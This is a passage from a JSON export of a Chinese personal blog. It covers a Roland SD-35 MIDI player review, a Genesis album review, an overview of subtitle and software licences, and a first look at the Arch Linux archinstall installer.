src=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e补充:有时多瞎想点东西,还是很好的呢:-)希望大家喜欢看这样的音乐评测,可能以后有些音乐专辑,我就引入她们的设定了233\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://zh.touhouwiki.net/wiki/%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1/%E9%9F%B3%E4%B9%90\" target=\"_blank\" rel=\"noopener\"\u003eTouhouwiki 上面的介绍\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Ai4y1b7LJ\" target=\"_blank\" rel=\"noopener\"\u003eSC-88 Pro 合成版 @pingatsky\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Wq4y1f7h7\" target=\"_blank\" rel=\"noopener\"\u003eSD-35 (约等于SC-55) 合成版 @SuperBart\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1904\" target=\"_blank\" rel=\"noopener\"\u003eIn the Wake of Poseidon 在 Prog Archive 上的评论\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/gensokyo-band-promotion-file.html"},{"title":"Roland SD-35 MIDI 播放器评测","time":"2021-09-05T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" alt=\"Featured image of post Roland SD-35 MIDI 播放器评测\"/\u003e\u003cp\u003e我一直想要一个硬音源,所以我搞来了这台Roland SD-35 MIDI播放器。因为这是闲鱼上我所找到的最便宜,也是最具特点的Roland MIDI设备。这台机器吸引我的地方,就是其能播放软盘里的MIDI音乐。不过这个机器当音源是真的不行,不过情有可原。接下来,我给大家详细介绍这个机器。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" loading=\"lazy\" alt=\"开学才一周,桌面就很乱了:-P\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e开学才一周,桌面就很乱了:-P\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"part-1历史背景\"\u003ePart 1:历史背景\u003c/h2\u003e\n\u003cp\u003eRoland公司在1991发布了Roland SC-55 MIDI硬音源,将高品质MIDI音源给大众化了。很多游戏音乐,比如《毁灭战士》的音乐,就是用SC-55写的。之后,Roland在1993年发布了SC-55 MK II,算是一个小幅升级版。1994年则是SC-50,较SC-55 MK II砍掉了MT-32模拟功能,并且只有一个MIDI输入接口。\u003c/p\u003e\n\u003cp\u003e在1993年,SD-35 MIDI播放器问世,本质上就是SC-50,不过加了一个软盘播放器。它还有一个姐妹型号,SB-55。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\" loading=\"lazy\" alt=\"上图来源:Wikipedia “Roland Sound Canvas”\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e上图来源:Wikipedia “Roland Sound Canvas”\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"part-2作为一个midi播放器\"\u003ePart 2:作为一个MIDI播放器\u003c/h2\u003e\n\u003cp\u003e这个机器最主要的功能,就是播放MIDI文件。播放的话,有两种方式:一种是通过软盘播放,一种是通过MIDI线缆输入。它前面板上有一个软驱,插入720K软盘后,如果是空盘,它可以给格式化,如果有标准MIDI文件的话,它就会播放。另外一种,就是通过MIDI线缆,传入信号并播放,或者录制MIDI信号到软盘。\u003c/p\u003e\n\u003cp\u003e这个机器的主打功能是软盘MIDI播放和MIDI信号录制,所以这两个我就不说了。前面的使用完美,后面的我没有条件测试。而后者呢,算是这个机器的弱项。经常传输信号的时候,机器报缓存已满。根据说明书,机器由于传入太多的MIDI信号而无法处理。说明书还建议把Soft Thru关掉,因为这玩意占着资源,但这样我就听不到音乐了。我根据群友的建议,用TMIDI播放器调整了传输速率,但还是不行。这类情况在传输一些复杂的MIDI信号的时候,十分明显。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\" loading=\"lazy\" alt=\"bFL = buffer FULL\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003ebFL = buffer FULL\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e这个机器,由于本质是SC-55,所以合成的音效嘛,就是SC-55的样子。但是这也带来了一个问题,就是对于一些面向SC-88编写的MIDI音乐,可能合成会有问题。我在用机器播放《东方红魔乡》的MIDI音乐(GS标准,面向SC88Pro编写)时,经常看到地址报错,而且有一首歌,把最后部分的长音小号给合成错了。\u003c/p\u003e\n\u003cp\u003e这个机器还有一个功能,就是GM标准和GS标准之间的转换。当然,其他的音源估计也有。这两个标准合成的音乐有些许不同,值得注意。\u003c/p\u003e\n\u003cp\u003e这台机器还有很多其他功能,诸如只播放一个通道之类,这里我就不说了,对我而言实用性不强。\u003c/p\u003e\n\u003ch2 id=\"part-3这台机器到底是用来干啥的\"\u003ePart 3:这台机器到底是用来干啥的?\u003c/h2\u003e\n\u003cp\u003e根据上面的用途和说明书上的提示,我觉得这个机器不是面向MIDI音乐编写/播放设计的,而是面向现场播放用途设计的。这里我放上该机器的后面板。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\" loading=\"lazy\" alt=\"由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 开关\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 开关\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e你们可以看到,这里除了MIDI接口,还有两对6.5mm接口。一对接收输入信号,一对向外输出信号。最左侧还有输入电平调节,分别是吉他,麦克风和线缆输入。可见,这个机器可以输入信号,然后和软盘音乐混合后输出。对于做Genesis那样的流行电音来说,还挺有用的呢。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\" loading=\"lazy\" alt=\"说明书上关于输入设备的演示\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e说明书上关于输入设备的演示\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e至于为啥我前面说当音源不行,但是情有可原。一方面,这个机器要录制MIDI的话,一般接的是键盘啥的。键盘我觉得,再怎么折腾,也不会超过三个频道吧,估计它的处理能力也就这样了。另外一个方面,说明书暗示,传入MIDI信号相比软盘播放,机器得处理更多的东西,所以我觉得,可能是算力不够+缓存被砍的原因。\u003c/p\u003e\n\u003cp\u003e(还有一方面,估计我买的MIDI线很垃圾。那家的评论有一些差评,不过由于我买了这个机器,存款接近告罄,只能在这方面省钱了:-P)\u003c/p\u003e\n\u003ch2 id=\"part-4我对这台机器的看法\"\u003ePart 4:我对这台机器的看法\u003c/h2\u003e\n\u003cp\u003e虽然我买这个机器的目的是为了当音源,而这方面,机器可谓是相当不合格。但是,这个机器的特点很鲜明,还有很多的可玩性。我可以用这个机器水做很多的演示视频呢。而且这个机器涉及到了软盘,我也在Linux下体验了格式化软盘,没有某些人说的那么离谱啊。\u003c/p\u003e\n\u003cp\u003e不过既然不能当音源,我还要攒一年的钱,买一个SC-88去:-P(卖溢价二手货的都给我下地狱吧)\u003c/p\u003e\n\u003ch2 id=\"part-5相关计划\"\u003ePart 5:相关计划\u003c/h2\u003e\n\u003cp\u003e根据之前的投票结果和我的个人意愿,下期MIDI演示视频,我要用《红魔乡》的音乐演示,经由软盘播放。然后是《毁灭战士II》,经由MIDI线。可能还会用《RoTT》和《Heretic》的部分音轨出一个bug演示视频。制作方面呢,我要改MIDI,录制,画封面啥的。所以各位耐心等着吧:-P\u003c/p\u003e\n\u003cp\u003e进度视我的课程难度和我陷入不合理竞争的深度而定:-(\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/roland-sd-35-midi-player-review.html"},{"title":"Genesis - A Trick of the Tail 听后感","time":"2021-08-15T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" alt=\"Featured image of post Genesis - A Trick of the Tail 听后感\"/\u003e\u003cp\u003e作为前Deep Purple粉丝,现在的Genesis粉丝,如果我要给别人推荐Genesis专辑的话,我会先推荐这张专辑。因为这张专辑的旋律性好,概念性没那么强,听着没有Sell和Lamb那样,又累又难以理解。而且这张专辑的封面也很有意思,很多的人对应着专辑里的歌曲。\u003c/p\u003e\n\u003ch2 id=\"关于封面\"\u003e关于封面\u003c/h2\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" loading=\"lazy\" alt=\"Copyright 1976 Hignosis \u0026amp; C. Elgie\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eCopyright 1976 Hignosis \u0026amp; C. Elgie\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e根据上网找到的内页,个人猜测:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e护士拿着灯:Entangled\u003c/li\u003e\n\u003cli\u003e猎人和下面的耗子:Sqounk\u003c/li\u003e\n\u003cli\u003e上面的月亮和下面的孩子们:Mad Man Moon\u003c/li\u003e\n\u003cli\u003e大盗和狡猾的绅士:Robbery, Assault and Battery\u003c/li\u003e\n\u003cli\u003e照镜子的巫婆:Ripples…\u003c/li\u003e\n\u003cli\u003e恶魔和指着他的人:A Trick of the Tail\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于歌曲\"\u003e关于歌曲\u003c/h2\u003e\n\u003cp\u003e这张专辑的旋律性很突出,尤其突出显示在Mad Man Moon和Entangled这两首歌中。\u003c/p\u003e\n\u003cp\u003eMad Man Moon中,Tony Banks模拟的笛声很快就能抓住我们的耳朵,而且十分婉转,基本贯穿了整首歌。虽然我没太注意歌词唱的是什么,但是这个歌曲能让我想象出一个不知为何,有一点伤心的人。Tony Banks的旋律一直是Genesis音乐在前卫摇滚时期的卖点。包括Trespass里的Vision of Angles,Lamb里的Carpet Crawl,后面Wind And Wuthering里的One for the Vine,and there were three里的Buring Ropes。不过流行时期的Genesis嘛,旋律真就没有什么特点了,只剩下力度和跳舞的动力了。\u003c/p\u003e\n\u003cp\u003eEntangled中,Steve Hackett的原声吉他弹得十分干净,十分纯洁。这应该是属于民歌的曲调,充满了西方童话的特色。同样地,这个曲调也是低回婉转的,比起那些十分重型的歌曲或是某种热门单曲(@ tictok神曲),记住这些旋律是十分享受的,而不是折磨的。Steve在Genesis里主要是承担着点缀音乐的作用,诸如Hogweed前面的快速点弦,Horizon是在上主菜前的一个插曲之类。虽然他自己的写的旋律很好,但是没人用啊,难怪他后来退队了。\u003c/p\u003e\n\u003cp\u003e说到力度,这张专辑给人的感觉很割裂。有些歌曲从头到尾都很有力,诸如Sqounk。而其他的歌曲大多十分轻松,尤其是Entangled。这点我觉得相比之前的专辑,有点不太好。Genesis前卫高峰时期的专辑都是很能把握歌曲的力度的,一首歌的力度变化是十分丰富的。比如Stagnation,前面很轻盈,中间加了点力度,后面又让人很放松,但是最后还是留有一定的力度。Cinema Show是由轻到重,逐渐加强的。然而这张专辑,大多数歌曲传递出来的力度都十分单一。尤其是Sqounk,力度变化基本上没有,而且十分急促,好像有人一直在跟你抱怨着什么,我是十分不喜欢的。在力度方面,Los Endos这个纯乐器独奏,十分多元化,个人认为是乐队通过这个独奏,告诉大家,我们的音乐依然是多元的。\u003c/p\u003e\n\u003ch2 id=\"关于内容\"\u003e关于内容\u003c/h2\u003e\n\u003cp\u003e至于专辑内容,我个人倒不是很注意,因为这张专辑的旋律性重于歌词。我除了Robbery, Assault and Battery和Ripples的内容看了一下之外,其他的没看。要不是歌曲的旋律告诉了我们(比如第一首,明显体现了乐队继续前进的决心),更多是我对看歌词不感兴趣。Robbery, Assault and Battery讲述了一个十分奇怪的故事,没太看懂歌词的我也能体会到其中的荒诞性,大致是一个大盗的胡乱自述,经常出现“老调重弹(Same old song)”这句词。而Ripples这首歌,借着水中的波纹,唱出了青春一去不反的伤感。(Marge: 你才20岁,担心啥呢:-P)歌词中的“A Thousands Ship”让我无端联想到Doors 里的The Crystal Ship,看出来女孩子心里变化的丰富(毕竟她们是不同的生物呢)。\u003c/p\u003e\n\u003ch2 id=\"关于历史地位\"\u003e关于历史地位\u003c/h2\u003e\n\u003cp\u003e这张专辑是Genesis的转折点,Genesis顺应时代的变化,精简掉歌曲中复杂的结构,将人们重视的旋律弄得十分突出。不过,他们仍然保留了很多的复杂,精巧的元素。这张专辑中,有内容上很有意思的,也有结构复杂的歌曲,也有他们继续前行的决心。下一张专辑中,则有上来就很抓耳的旋律,也有十多分钟长的器乐歌曲串烧,还有一首启发自猫和老鼠的歌曲。而在Hackett退出后,乐队有点离心,在过渡了两张专辑后,彻底转型为流行,那些歌嘛,我就不想说了。这张专辑是他们刚刚开始转型的专辑,前卫性很强,而由于他们做出的变化,让其更能为人所接受。所以,如果你们想了解前卫摇滚的话,可以先拿这张适应一下,适应后再开始你们的前卫之旅(建议拿 Yes 的 Tails of Topographic Ocans 来提升一下)。\u003c/p\u003e\n\u003cp\u003e最后,感谢南方翻译的前卫摇滚历史,最后一段的分析实际上在那个视频里面提到过。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=5\" target=\"_blank\" rel=\"noopener\"\u003eProg Archive上面的评论\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/28748-Genesis-A-Trick-Of-The-Tail\" target=\"_blank\" rel=\"noopener\"\u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Af4y1F79H\" target=\"_blank\" rel=\"noopener\"\u003e本人翻译的一个介绍本专辑的纪录片\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\u003e南方翻译纪录片的片段\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"彩蛋我画的ripples封面\"\u003e彩蛋:我画的Ripples封面\u003c/h2\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\" loading=\"lazy\" alt=\"右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如果你了解东方的话,你很快就能反应过来这两个人的原型是红魔馆的两个主人。但我没有照搬吸血鬼的设定,因为我画的是人啊。还有,我觉得东方里的角色都可以拿过来,稍微修改一下设定,就能给每一首前卫歌曲画一张,这样,我们就能借着东方,宣传前卫摇滚啦。对了,我不太是东方的粉丝,目前真的只对东方里那些女孩子的个性和外观感兴趣……\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/a-trick-of-the-tail-review.html"},{"title":"我的字幕授权协议(兼各种我知道的授权协议介绍)","time":"2021-08-02T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/INzBQdJWynZbLmR.jpg\" alt=\"Featured image of post 我的字幕授权协议(兼各种我知道的授权协议介绍)\"/\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e什么,字幕还有授权协议?那当然,要不我辛辛苦苦翻译的东西总有一天会被营销号拿走:-P\u003c/p\u003e\n\u003cp\u003e先推荐给字幕作者这篇文章,虽然我的翻译明显不是这样:-P\u003c/p\u003e\n\u003cp\u003e【经验分享】从事个人翻译的几点心得 @ 某科学的小姚同志\u003c/p\u003e\n\u003cp\u003e好啦,在贴出我的协议之前,先给大家介绍几种授权协议吧:\u003c/p\u003e\n\u003ch2 id=\"copyleft-类型的协议\"\u003eCopyLeft 类型的协议\u003c/h2\u003e\n\u003cp\u003e这类协议最大的特点是,自由是被强制的。也就是说,虽然该授权协议给予你很多的权利,但是你衍生作品的授权协议也得授权给用户那么多的权利。\u003c/p\u003e\n\u003cp\u003e对于字幕呢,如果想这么办的话,CC-BY(Attribution, 署名)-ShareAlike(相同方式共享)是一个相当好的选择。\u003c/p\u003e\n\u003cp\u003e举例:《雷神之锤》引擎(id Tech 2)的授权协议是GPL v2,一个CopyLeft类型的协议。也就是说,如果你没跟原作者id公司另行签订协议的话,你写的改进版《雷神之锤》引擎(英文叫source port)必须也得是GPL v2授权,以保证这个衍生作品是自由的。我电脑里装有vkquake改进引擎,就是GPL授权的。\u003c/p\u003e\n\u003cp\u003e个人评价:这很明显干涉到了开发者的自由,因为他不能将自己的想法按照自己的想法公布。但是,对于软件来说是件好事情,因为透明性,更多人可以加入,给软件添砖加瓦。而对于我的字幕来说,如果别人翻译视频或者引用的话,因为授权协议,就得违背自己的本意开放各种细节,也不太好吧。\u003c/p\u003e\n\u003ch2 id=\"copyright类型的开源协议\"\u003eCopyRight类型的开源协议\u003c/h2\u003e\n\u003cp\u003e这种协议呢,作者保留自己应该有的权利。不过作者开发给各位用户随意处置该软件的自由。\u003c/p\u003e\n\u003cp\u003e这种协议应该是被使用最多的开源协议了,比如MIT协议,只要将该协议文本随衍生作品分发即可。对于字幕,就是CC-BY了。\u003c/p\u003e\n\u003cp\u003e举例:3Blue1Brown的作者使用自己写的Manim库做视频,该库按照他的MIT协议授权。社区在他代码的基础上维护,搞了一个社区版,按照原版的MIT协议和社区版的MIT协议授权。\u003c/p\u003e\n\u003cp\u003e还有一个例子:github上driver1998(Bilibili上是初生之鸟)做的字幕是CC-BY授权,所以,如果我要给LGR发送他做的视频字幕的话,只要在文件里写上他的名字和CC-BY授权就行了。\u003c/p\u003e\n\u003cp\u003e个人评价:这种协议十分符合我心中的开源协议,我给你们随便用,别忘了提我名字就行之类。但是,对于某些耍流氓的,恐怕就不友好了,懂得都懂。对于字幕呢,如果你不像我那么在意某些事情的话,用这种类型的吧。\u003c/p\u003e\n\u003ch2 id=\"半开源协议\"\u003e半开源协议\u003c/h2\u003e\n\u003cp\u003e这种情况比较复杂:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e作者仅仅是放出来了代码,而没给协议。\u003c/li\u003e\n\u003cli\u003e作者写了自己的开源协议,但是限制比较多,视情况而定。\u003c/li\u003e\n\u003cli\u003e对于第一种情况,如果你要对修改后的代码有进一步动作的话,理论上来说必须联系原作者。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e举例:我打包的《东方毁灭战士》就是属于没有授权协议的游戏。默认由原作者Untitled保留他所写代码的所有权利,而贴图,萌妹子之类的呢,我就不知道了。\u003c/p\u003e\n\u003cp\u003e对于第二种情况,那就看吧。像Anti996协议这种,照办即可。要是诸如限制商业用途,必须喜欢Maggie Simpson等情况的话,在某种程度上也得联系原作者了。\u003c/p\u003e\n\u003cp\u003e举例:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e金源引擎是开源的,但是Valve的授权协议禁止未经允许的商用。\u003c/li\u003e\n\u003cli\u003eKen Sliverman 给自己的 BUILD 引擎写了一个授权,也是禁止未经允许的商用,而且还要求使用者尽量明智地自己解决阅读代码中遇到的问题,他可能没有时间一一回复。\u003c/li\u003e\n\u003cli\u003eHeretic和Hexen的代码开源的时候,授权是动视的EULA,导致开源社区根本没法在项目中使用。后来在社区的强烈要求下,代码的授权在2008年的时候改成了GPLv2。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e个人评价:如果你对有些事情有些看法的话,可以试试这种类型的。不过你得自己写一个,一般魔改MIT协议是一个省力的好办法。\u003c/p\u003e\n\u003cp\u003e我的字幕授权一开始是CC0+Anti996授权,后来我对之前遇到过的两次官方视频翻译组出现的一些问题(8bitguy天降机翻正义事件和Chub翻译组组长跑路事件)有点在意,所以自己写了一个。先耐下心,最后再给大家贴出来。\u003c/p\u003e\n\u003ch2 id=\"闭源协议\"\u003e闭源协议\u003c/h2\u003e\n\u003cp\u003e这是大家遇到最多的协议了,一般条款苛刻,而且十分倾向开发者的利益。站在文化的交流和自由的角度,我绝对不推荐任何人使用这种协议。不过你用了我也管不着,你的自由啊:-)\u003c/p\u003e\n\u003cp\u003e有一个特例是Everything,他的二进制文件是MIT授权,而原作者没有公布代码。\u003c/p\u003e\n\u003cp\u003e而字幕嘛……我觉得根本无法闭源啊,只要视频在,总能读出来的嘛。\u003c/p\u003e\n\u003ch2 id=\"公有领域\"\u003e公有领域\u003c/h2\u003e\n\u003cp\u003e这种东西呢,是作者放弃所有权利的产物。字幕方面,我是绝对不会推荐使用这个协议的。软件代码就看着办吧,我的作业代码就是公有领域的。\u003c/p\u003e\n\u003ch2 id=\"我的协议\"\u003e我的协议\u003c/h2\u003e\n\u003cp\u003e好了,该把我的协议贴出来了。去我网页看吧。\u003c/p\u003e\n\u003cp\u003e谢谢阅读。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/my-license-introduction.html"},{"title":"archinstall 初体验 (省流文字版)","time":"2021-05-01T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/2UrIqVcRG3YiECJ.jpg\" alt=\"Featured image of post archinstall 初体验 (省流文字版)\"/\u003e\u003cp\u003e再编辑版注:鉴于该软件在我回顾的时候,已经有所改变,故这里不放出所有贴图。各位想了解的话,看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Archinstall\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e继2012年Arch Linux弃用了安装器之后,在今年的4月1日,官方发布了全新的安装器,不过仍在实验阶段。今天我来体验一下。视频版在此,不建议不开倍速观看:\u003cbr/\u003e\n\n\n\n\n\n\n \n\n\n\u003c/p\u003e\u003cdiv class=\"video-wrapper\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;bvid=BV1GA41157XK\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n \u003c/iframe\u003e\n\u003c/div\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"步骤\"\u003e步骤\u003c/h2\u003e\n\u003cp\u003e首先,搞到一个2021-04-01及之后版本的Arch Linux安装镜像,启动后在命令行下输入\u0026#34;archinstall\u0026#34;命令即可运行该安装程序。\u003cbr/\u003e\n首先出现的是键盘布局选择界面,这里在20(UK)和21(US)之间选择,UK布局较US多了一些法文字母,这样就可以打出café, coup d’etat这样的在英语中使用的法文词汇了。\u003cbr/\u003e\n之后我们可以选择从哪里的服务器下载软件包,较传统的安装方式,这个可以说是方便了不少。原来的安装方式是执行个测速工具,或是直接修改mirrorlist。\u003cbr/\u003e\n然后可以选择安装进的硬盘,还能选择是否覆盖安装等,不过没有分区工具选项,只能使用一个默认的分区方案,分区为/boot和根目录(该工具仅支持UEFI):-\\\u003cbr/\u003e\n选择硬盘后,选择分区文件系统,除了ext4外我一无所知。这里有一个给磁盘加密的选项,挺好的。Houge_Langley@Bilibili 做了几期视频介绍,链接附下。\u003cbr/\u003e\n分区配置完毕后,这里设置电脑名称,超级用户密码,添加用户。这里有两个亮点:提示不设置超级用户密码的话,会禁用超级管理员用户(虽然Linux都这样,但在这里提示也是件好事);还有赋予新用户超级管理权限(比visudo好用多了)。\u003cbr/\u003e\n安装工具新提供了安装桌面环境,显卡驱动等选项,目前没有xfce,mate,lxde等:-| 至于为啥没有gnome-wayland,gnome默认为wayland。\u003cbr/\u003e\n对了,archinstall是一个框架,任何会用python的人都可以用它写自己的安装脚本。\u003cbr/\u003e\n我们还可以添加其他的安装包,这里我安装了两个Virtualbox客户机的模块。\u003cbr/\u003e\n然后程序给出了一个总结,总觉得应该写成一个让人好明白的东西,而不是这个类似bash的配置文件。注意没有引导程序选择,因为只能选择systemd-boot,侧面体现其仍在开发。\u003cbr/\u003e\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\" loading=\"lazy\" alt=\"最后总结页面\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最后总结页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n最后重启后,根据我选择的GNOME环境,程序安装并配置好了,不过VBOX增强工具没有激活,需要在上述安装完成后arch-chroot一下。\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"小结\"\u003e小结\u003c/h2\u003e\n\u003cp\u003e这个工具目前处于一个鸡肋的状态。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e这个工具比较不透明,我不知道选择某个选项后会出现什么结果。执行时默认也没有比较详细的信息。\u003c/li\u003e\n\u003cli\u003e他十分不灵活,选项就那几个,我只能限制在他给的选项方面选择,而不能自己决定一些东西,尤其是分区方面。\u003c/li\u003e\n\u003cli\u003e要想有自己的需求的话,安装完有些东西还得去arch-chroot输命令,我既然要输入命令的话,为啥不从头到尾都在输命令呢:-\\\u003c/li\u003e\n\u003cli\u003e对于小白的话,根据官方安装指南安装的话,至少能对Linux系统某些基本的东西(诸如分区,网络配置,软件管理等)有一定的了解,而这个东西我觉得不太能像安装指南一样起到这样的作用吧。\u003c/li\u003e\n\u003cli\u003e当然,这个安装程序可以自己写python脚本来配置。对于有定制需求的人来说,是件好事。但对于我这种有需求,但是技术不到位的人来说,就不太好了,还是走官方流程吧。\u003c/li\u003e\n\u003cli\u003e对于只是拿这个装13的人来说,只要英文过关的话,还挺方便的呢(bushi\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e当然,官方也在积极改进这个软件,希望将来能够更加好用吧。也希望成熟的那一天,纯输命令的安装方式还能存在。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" 